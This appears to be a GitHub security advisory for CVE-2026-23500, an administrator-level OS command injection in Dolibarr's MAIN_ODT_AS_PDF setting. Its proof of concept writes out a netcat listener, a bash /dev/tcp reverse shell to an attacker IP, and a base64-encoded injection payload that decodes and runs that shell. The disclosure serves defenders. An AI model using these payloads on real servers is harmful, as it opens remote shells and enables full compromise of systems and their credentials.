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Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration

Critical severity GitHub Reviewed Published Apr 17, 2026 in Dolibarr/dolibarr • Updated Apr 24, 2026

Package

composer dolibarr/dolibarr (Composer)

Affected versions

<= 22.0.4

Patched versions

None

Description

Summary

An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the MAIN_ODT_AS_PDF configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the exec() function in the ODT to PDF conversion process.

Details

The vulnerability is located in htdocs/includes/odtphp/odf.php.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the MAIN_ODT_AS_PDF global setting.

Code snippet (htdocs/includes/odtphp/odf.php, approx line 930):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

While the filename $name is sanitized using escapeshellcmd(), the configuration variable MAIN_ODT_AS_PDF is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like ;) followed by arbitrary commands.

PoC

Prerequisites:

  1. Login as an Administrator.
  2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.

Steps to reproduce (Reverse Shell):

  1. Start a netcat listener on the attacker's machine (IP: 172.26.0.1, Port: 4445):
nc -lvnp 4445
  1. Prepare the payload. To avoid issues with special characters (like & or >) being escaped by the web application or shell, encode the reverse shell command in Base64:

    # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
    echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
    # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
  2. Navigate to Home -> Setup -> Other Setup.

  3. Add or modify the constant MAIN_ODT_AS_PDF with the following injection payload:

    jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash

    (Explanation: jodconverter satisfies the initial check, ; acts as a command separator, and the pipeline decodes and executes the Base64 payload).

image

  1. Navigate to Commerce -> New proposal, create a draft, select an ODT template (e.g., generic_proposal_odt), and click Generate.

image

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  1. Check the netcat listener. A connection will be established, granting a shell on the server:

image

Impact

Remote Code Execution (RCE).
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically www-data). This allows for:

  • Reading sensitive configuration files (database credentials).
  • Modifying application code.
  • Full system compromise depending on server configuration (e.g., docker escape, pivoting).

Credits

Reported by Łukasz Rybak

References

@eldy eldy published to Dolibarr/dolibarr Apr 17, 2026
Published by the National Vulnerability Database Apr 17, 2026
Published to the GitHub Advisory Database Apr 17, 2026
Reviewed Apr 17, 2026
Last updated Apr 24, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-23500

GHSA ID

GHSA-w5j3-8fcr-h87w

Source code

Credits

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